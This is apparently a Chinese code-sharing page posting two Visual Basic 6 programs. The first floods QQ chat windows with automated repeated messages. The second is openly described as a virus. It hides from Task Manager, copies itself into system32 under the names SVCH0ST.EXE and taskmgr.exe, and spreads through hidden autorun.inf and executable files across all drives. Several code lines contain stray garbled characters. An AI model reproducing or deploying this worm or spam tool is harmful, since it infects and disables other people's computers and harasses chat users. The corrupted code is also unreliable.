不过好像没什么意思！！！
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal Hwnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const WM_GETTEXT = &HD
Private Const EM_REPLACESEL = &HC2
Private Const BM_CLICK = &HF5
Dim Num1 As Long, QQTextHwnd As Long
Dim TempLog As Long
Dim TempMSG As String
Dim ButtonHwd As Long
Private Function GetWinText(ByVal WinHwnd As Long) As String
Dim ILen As Long
GetWinText = String(255, Chr(0))
ILen = SendMessage(WinHwnd, WM_GETTEXT, Len(GetWinText), ByVal GetWinText)
GetWinText = Left(GetWinText, ILen)
End Function
Private Sub Command1_Click()
List1.Clear
Dim hFindWnd As Long
hFindWnd = FindWindowEx(0, 0, "#32770", vbNullString)
Do While hFindWnd <>如氏好 0
If InStr(GetWinText(hFindWnd), "聊天中") >0 Or InStr(GetWinText(hFindWnd), "交谈中") >0 Then
List1.AddItem GetWinText(hFindWnd)
End If
hFindWnd = FindWindowEx(0, hFindWnd, "#32770", vbNullString)
Loop
If List1.ListCount = 0 Then
MsgBox "QQ消息窗体没有打开", 64, "提示"
End If
End Sub
Private Sub Command2_Click()
Dim QQHwnd As Long, RHwnd As Long
If List1.ListCount = 0 Then
MsgBox "QQ消息窗体没有打开", 64, "提示"
Exit Sub
End If
QQHwnd = FindWindow("#32770", List1.Text)
QQHwnd = FindWindowEx(QQHwnd, 0, "#32770", vbNullString)
QQTextHwnd = FindWindowEx(QQHwnd, 0, "AfxWnd42", vbNullString)
QQTextHwnd = FindWindowEx(QQHwnd, QQTextHwnd, "AfxWnd42", vbNullString)
QQTextHwnd = FindWindowEx(QQTextHwnd, 0, "RichEdit20A", vbNullString)
If QQTextHwnd = 0 Then
MsgBox "没有找到消息文本"
End If
RHwnd = FindWindowEx(QQHwnd, 0, "Button", "发送(S)")
ButtonHwd = RHwnd
TempLog = SendMessage(QQTextHwnd, EM_REPLACESEL, 0, ByVal Text1.Text)
SendMessage RHwnd, BM_CLICK, 0, 0
End Sub
Private Sub Command3_Click()
If Command3.Caption = "连发(&T)" Then
Command3.Caption = "停止(&T)"
Timer1.Enabled = True
Else
Command3.Caption = "连发(&T)"
Timer1.Enabled = False
End If
End Sub
Private Sub Form_Load()
Command1.Caption = "获取(&Q)"
Command2.Caption = "发送(&S)"
Command3.Caption = "连发(&T)"
Text1.Text = ""
Timer1.Interval = 100
Timer1.Enabled = False
End Sub
Private Sub Timer1_Timer()
Num1 = Num1 + 1
TempMSG = Text1.Text &vbCrLf &"统计：第" &Num1 &"连发消息"
SendMessage QQTextHwnd, EM_REPLACESEL, 0, ByVal TempMSG
SendMessage ButtonHwd, BM_CLICK, 0, 0
End Sub
Dim num, nums '驱动器数Dim i As Integer '文件号
Dim j As Integer 'FOR用的变量!
Private Sub Form_Load() '程序初始化！
'不准重复运行本病毒！
If App.PrevInstance Then
End
End If
'在任务管理器中隐身！
App.TaskVisible = False
'病毒自我保护函数
a0
auts
'得到当前驱动器数！
a2
'设置时间：为5000 MS 检查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保护函枝激则数
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"
'得到系统目录！得到后猛棚，自我复制铅山到SYSTEM32下！
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) &"\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) &"\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) &"\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) &"\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) &"\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) &"\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) &"C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函数
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) &"\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) &"\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) &"\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) &"\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到当前驱动器数！
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '时间函数
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num <>nums Then
If num >nums Then
a1
End If
If num <nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '写自我删除程序
On Error Resume Next
i = FreeFile
Open App.Path &"\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " &App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path &"\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驱动器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path &"\" &App.EXEName &".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) &":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) &":\autorun.inf"
SetAttr Chr(dirid) &":\autorun.inf", vbHidden
SetAttr Chr(dirid) &" :\autorun.exe", vbHidden
Next
err1:
End Sub
后缀改为vbs
欢迎分享，转载请注明来源：内存溢出
微信扫一扫
支付宝扫一扫
评论列表（0条）